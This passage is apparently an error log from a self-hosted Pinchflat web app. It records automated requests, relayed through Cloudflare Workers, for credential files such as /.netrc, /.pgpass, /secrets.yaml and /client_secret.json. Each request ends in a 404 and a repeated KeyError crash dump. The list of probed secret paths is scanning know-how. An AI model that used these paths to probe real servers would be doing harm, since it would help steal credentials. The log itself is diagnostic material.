false, streamid: 15, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3657.0>, params: %{}, path_info: ["client_secret"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200e08aae9a71f5-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "vggc4833ebd1zwk9.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0"}, {"x-forwarded-for", "108.162.238.108"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/client_secret.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmBmOMw9N1G1UAAVUB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3642.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/client_secret.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 55174}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e08aae9a71f5-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "vggc4833ebd1zwk9.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "108.162.238.108", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 15, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /client_secret (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3642.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/client_secret.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 55174}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e08aae9a71f5-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "vggc4833ebd1zwk9.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "108.162.238.108", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-fo (truncated) 02:30:36.228 [info] GET /.netrc 02:30:36.229 [debug] QUERY OK source="settings" db=0.4ms idle=32.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:36.229 [info] GET /secrets.yaml 02:30:36.229 [debug] QUERY OK source="settings" db=0.2ms idle=27.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:36.229 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:36.229 [debug] QUERY OK source="settings" db=0.2ms idle=27.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:36.230 [debug] QUERY OK source="settings" db=0.1ms queue=0.4ms idle=25.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:36.230 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:36.229 [error] #PID<0.3658.0> running PinchflatWeb.Endpoint (connection #PID<0.3642.0>, stream id 16) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.netrc ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3642.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.netrc", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 55174}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e08adc888160-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "josephvtranx.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "104.22.1.48", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 16, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3658.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200e08adc888160-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "josephvtranx.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"sec-ch-ua", "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"macOS\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"}, {"x-forwarded-for", "104.22.1.48"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.netrc", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmBmT7EMPtRIkAAVVB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3642.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.netrc", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 55174}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e08adc888160-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "josephvtranx.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "104.22.1.48", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 16, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3642.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.netrc", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 55174}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp (truncated) 02:30:36.230 [error] #PID<0.3659.0> running PinchflatWeb.Endpoint (connection #PID<0.3623.0>, stream id 8) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /secrets.yaml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /secrets (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.yaml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e08acc7c1723-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "lxrpab8cf63ea9ec.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "104.22.24.77", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 8, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3659.0>, params: %{}, path_info: ["secrets"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200e08acc7c1723-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "lxrpab8cf63ea9ec.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"sec-ch-ua", "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Windows\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"tailscale-funnel-request", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"}, {"x-forwarded-for", "104.22.24.77"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/secrets.yaml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmBmULaIN3wIsAAVWB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.yaml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e08acc7c1723-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "lxrpab8cf63ea9ec.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "104.22.24.77", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 8, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /secrets (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.yaml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0 (truncated) 02:30:36.234 [info] GET /.pgpass 02:30:36.235 [debug] QUERY OK source="settings" db=0.2ms idle=30.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:36.235 [debug] QUERY OK source="settings" db=0.0ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:36.235 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:36.235 [error] #PID<0.3660.0> running PinchflatWeb.Endpoint (connection #PID<0.3623.0>, stream id 9) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.pgpass ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.pgpass", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e08ab93a7066-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "qiaw847be7d11pmx.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "104.22.1.48", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 9, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3660.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200e08ab93a7066-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "qiaw847be7d11pmx.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"sec-ch-ua-mobile", "?1"}, {"sec-ch-ua-platform", "\"Android\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36"}, {"x-forwarded-for", "104.22.1.48"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.pgpass", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmBmVgrT5s3VwAAVXB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.pgpass", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e08ab93a7066-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "qiaw847be7d11pmx.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "104.22.1.48", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 9, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.pgpass", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => 